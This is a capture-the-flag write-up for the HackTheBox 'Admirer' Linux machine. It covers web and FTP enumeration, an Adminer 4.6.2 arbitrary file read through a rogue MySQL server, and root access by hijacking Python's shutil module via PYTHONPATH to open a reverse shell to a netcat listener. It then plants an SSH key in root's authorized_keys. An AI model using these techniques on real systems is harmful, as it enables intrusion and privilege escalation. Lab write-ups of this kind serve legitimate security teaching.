HackTheBox - Admirer
Admirer just retired on Hackthebox, it’s an easy difficulty Linux machine with a user difficulty rating of 5.2/10. While rated easy I wouldn’t recommended it for beginners since it’s easy to miss important information and get stuck at soon as foothold. While doing the box I found it a bit frustrating to gather all the pieces of the puzzle together properly. But once done and looking back the box feel very well designed and quite straightforward even though the few rabbits holes.
Tl;Dr: To get the user flag you had to find an instance of Adminer
Database, and, after a lot of enumeration to find credentials to get into an FTP server and grab a backup of the web app. Then you connect to AdminerDB using your own MySQL server and from there you can exploit a vulnerability allowing to read local files using SQL. This way you retrieve waldo
user MySQL credentials, and those credentials are working on SSH allowing us to retrieve the flag.
The root flag is accessible after overwriting the python library shutils
using PYTHONPATH
environnement variable to make privilege escalation from a python script running as root.
Alright! Let’s get into the details now!
First thing first, let’s add the box IP to the hosts file:
1 | [hg8@archbook ~]$ echo "10.10.10.187 admirer.htb" >> /etc/hosts |
and let’s start!
User Flag
Recon
Let’s start with the classic nmap
scan to see which ports are open on the box:
1 | [hg8@archbook ~]$ nmap -sV -sT -sC admirer.htb |
We have a classical web app running on port 80, the FTP port 21 and the SSH port 22 open.
Opening http://admirer.htb display a following page:
We don’t have a lot of informations on the homepage, however nmap
returned a interesting entry from robots.txt
:
1 | 80/tcp open http Apache httpd 2.4.25 ((Debian)) |
Heading to http://admirer.htb/admin-dir
return a 403 Forbidden
so let’s try to use gobuster
with common file extension to find interesting files:
1 | [hg8@archbook ~]$ gobuster dir -u "http://admirer.htb/admin-dir/" -w ~/SecLists/Discovery/Web-Content/big.txt -x php,txt |
We get two interesting text files.
Credentials.txt
credentials.txt
looks particularly promising. Let’s see what we have inside:
1 | [hg8@archbook ~]$ curl http://admirer.htb/admin-dir/credentials.txt |
Well that’s surprisingly a lot of credentials… Let’s start with the beginning, we have seen FTP server open on nmap
, let’s try to login using the credentials we just found: ftpuser
:%n?4Wz}R$tTF7
:
1 | [hg8@archbook ~]$ ftp admirer.htb |
The FTP server looks looks like a backup folder, since we can see it contains a SQL database dump (dump.sql
) and an archive of what seems to be the website source code (in html.tar.gz
).
Let’s download both files to investigate:
1 | ftp> get dump.sql |
Admirer app backup
The dump.sql
doesn’t contains any useful informations so let’s directly skip to the html.tar.gz
archive:
1 | [hg8@archbook ~]$ tar -xf html.tar.gz |
w4ld0s_s3cr3t_d1r
seems to be the previous name of the /admin-dir
we found earlier. The robots.txt
file extracted from the archive confirms the theory:
1 | [hg8@archbook ~]$ cat robots.txt |
Another folder catch the attention: utility-scripts
.
1 | [hg8@archbook ~]$ ls -l utility-scripts/ |
db_admin.php
contains database credentials, let’s note them for later:
1 | // utility-scripts/db_admin.php |
Something odd is that the main index.php
found in the archive contains different database credentials (which should throw error since the password contains unescaped password):
1 | // index.php |
Out of curiosity I tried both of these password on waldo
ssh account but none worked.
Let’s go back to our utility-scripts
folder. admin_tasks.php
contains an interesting app:
1 |
|
If we could bypass this if
condition we could achieve remote code execution… Unfortunately even if using weak comparaison (==
) I couldn’t find a Type Juggling kind of exploit nor find any other way to bypass the check and achieve remote code execution from there.
Well since we don’t have other entry point so far let’s enumerate a bit more. We know that this archive is old since some folder were renamed and some files are not available anymore on the web server. Maybe new files have been added ? Let’s run gobuster
to the only folder we didn’t check yet: utility-scripts
:
1 | [hg8@archbook ~]$ gobuster dir -u "http://admirer.htb/utility-scripts" -w ~/SecLists/Discovery/Web-Content/big.txt -x php |
We got a new one in reference to the box name: adminer.php
Adminer Database management tool.
Adminer (formerly phpMinAdmin) is a full-featured database management tool written in PHP. Conversely to phpMyAdmin, it consist of a single file ready to deploy to the target server. Adminer is available for MySQL, MariaDB, PostgreSQL, SQLite, MS SQL, Oracle, Firebird, SimpleDB, Elasticsearch and MongoDB.
Sounds good we have access to a database management tool. Unfortunately none of the credentials we founds seems to work:
Yet we notice something useful on the page, the version used is 4.6.2
while the latest version is 4.7.7
. Searching about this version on Google returns an interesting result:
Adminer 4.6.2 File Disclosure Vulnerability
Adminer is a popular PHP tool to administer MySQL and PostgreSQL databases. However, it can be lured to disclose arbitrary files. Attackers can abuse that to fetch passwords for popular apps such as Magento and Wordpress, and gain control of a site’s database.
Exploitation happens in three stages. First, the attacker needs a modified MySQL server, which is altered to send out data import requests to any client that connects.
Second, the attacker can instruct the victim Adminer to connect to his rigged MySQL server (external connections are actually a feature of Adminer).
Third – With access to the database the attacker could read sensitive information, such as customer details.
https://sansec.io/research/adminer-4.6.2-file-disclosure-vulnerability
Sounds like a very interesting vulnerability, which actually goes back up to 2018 in a little different scenario.
Let’s give it a try.
MySQL Local file read -> waldo
Following the vulnerability writeup we need to first set our own MySQL instance. We have to make sure it allows external connections with something like:
1 | GRANT ALL PRIVILEGES ON *.* TO 'hg8'@'10.10.10.187' IDENTIFIED BY '<password>' WITH GRANT OPTION; |
Then create a table that will hold our extracted data:
1 | CREATE TABLE `test` ( |
Once our MySQL is all set and running let’s connect to it using http://admirer.htb/utility-scripts/adminer.php
:
Alright we are in and we can execute SQL queries. Let’s see if we can abuse the SQL query LOAD DATA LOCAL INFILE
to retrieve servers data. Let’s start with the classical /etc/passwd
:
1 | LOAD DATA LOCAL INFILE '/etc/passwd' |
Unfortunately we get blocked by PHP restrictions:
Error in query (2000): open_basedir restriction in effect. Unable to open file
Then maybe we can try on files in the webroot directory ? Let’s check for the index.php
since we know the file contains credentials, maybe we could find up-to-date passwords:
123 rows affected
, that looks good! We should now find the file content in the test
table:
Bingo! We got new credentials, let’s try them on waldo
SSH account:
1 | [hg8@archbook ~]$ ssh [email protected] |
Root Flag
Recon
During the usual recon, an interesting sudo
config catch the eye:
1 | waldo@admirer:~$ sudo -l |
Looks like an homemade administration script. If we can find a vulnerability there it’s our way to root.
Let’s take a look at this script:
1 | waldo@admirer:~$ cat /opt/scripts/admin_tasks.sh |
If you noticed, the sudo
configuration informs us that environnement variable we set are kept when running sudo /opt/scripts/admin_tasks.sh
, thanks to SETENV
. At first when seeing this I was thinking we could modify our path to make the script run one of our script named uptime
for example (like we did a few time in the past, on Writeup box for example).
Unfortunately the script author got careful about this and used only absolute path making it impossible for us to use this trick to elevate our privileges.
Digging a bit more we notice a call to a backup.py
script. Let’s take a look:
1 | #!/usr/bin/python3 |
That’s interesting, what if we keep our idea of PATH hijaking and apply it to Python library shutil
?
As far as I know when importing a library (from shutil import make_archive
), Python looks in a defined folder to find the library files. Maybe it’s possible to ask Python to search for libraries in a folder we control and inject a rogue library ? Since backup.py
is run as root
we could achieve privilege escalation.
Hijacking Python shutil module
Looking through the Python Documentation we quickly find what we are looking for:
PYTHONPATH is an environment variable which you can set to add additional directories where python will look for modules and packages. For most installations, you should not set these variables since they are not needed for Python to run. Python knows where to find its standard library.
The only reason to set PYTHONPATH is to maintain directories of custom Python libraries that you do not want to install in the global default location (i.e., the site-packages directory).
https://docs.python.org/3/using/cmdline.html#envvar-PYTHONPATH
To put that in practice, first let’s write a very simple python script as shutil
make_archive
function to open a reverse shell:
1 | import socket |
Let’s save it to a folder we control with shutil.py
as name. I will use /tmp/.hg8/shutil.py
.
Now we open our listener:
1 | [hg8@archbook ~]$ nc -l -vv -p 8585 |
And finally we run the backup script as root
while setting the PYTHONPATH
environnement variable to point to our rogue library in /tmp/.hg8/
first, then to the real lib directory to make sure the library used by our reverse shell can work properly:
1 | waldo@admirer:~$ sudo PYTHONPATH=/tmp/.hg8:/usr/lib/python3.5/ /opt/scripts/admin_tasks.sh 6 |
And we get a new connection on our listener:
1 | [hg8@archbook ~]$ nc -l -vv -p 8585 |
Let’s add our SSH key to ~/.ssh/authorized_keys
in order to get a proper shell:
1 | mkdir /root/.ssh |
And grab our flag:
1 | [hg8@archbook ~]$ ssh -i id_rsa_htb [email protected] |
That’s it folks! As always do not hesitate to contact me for any questions or feedbacks!
See you next time ;)
-hg8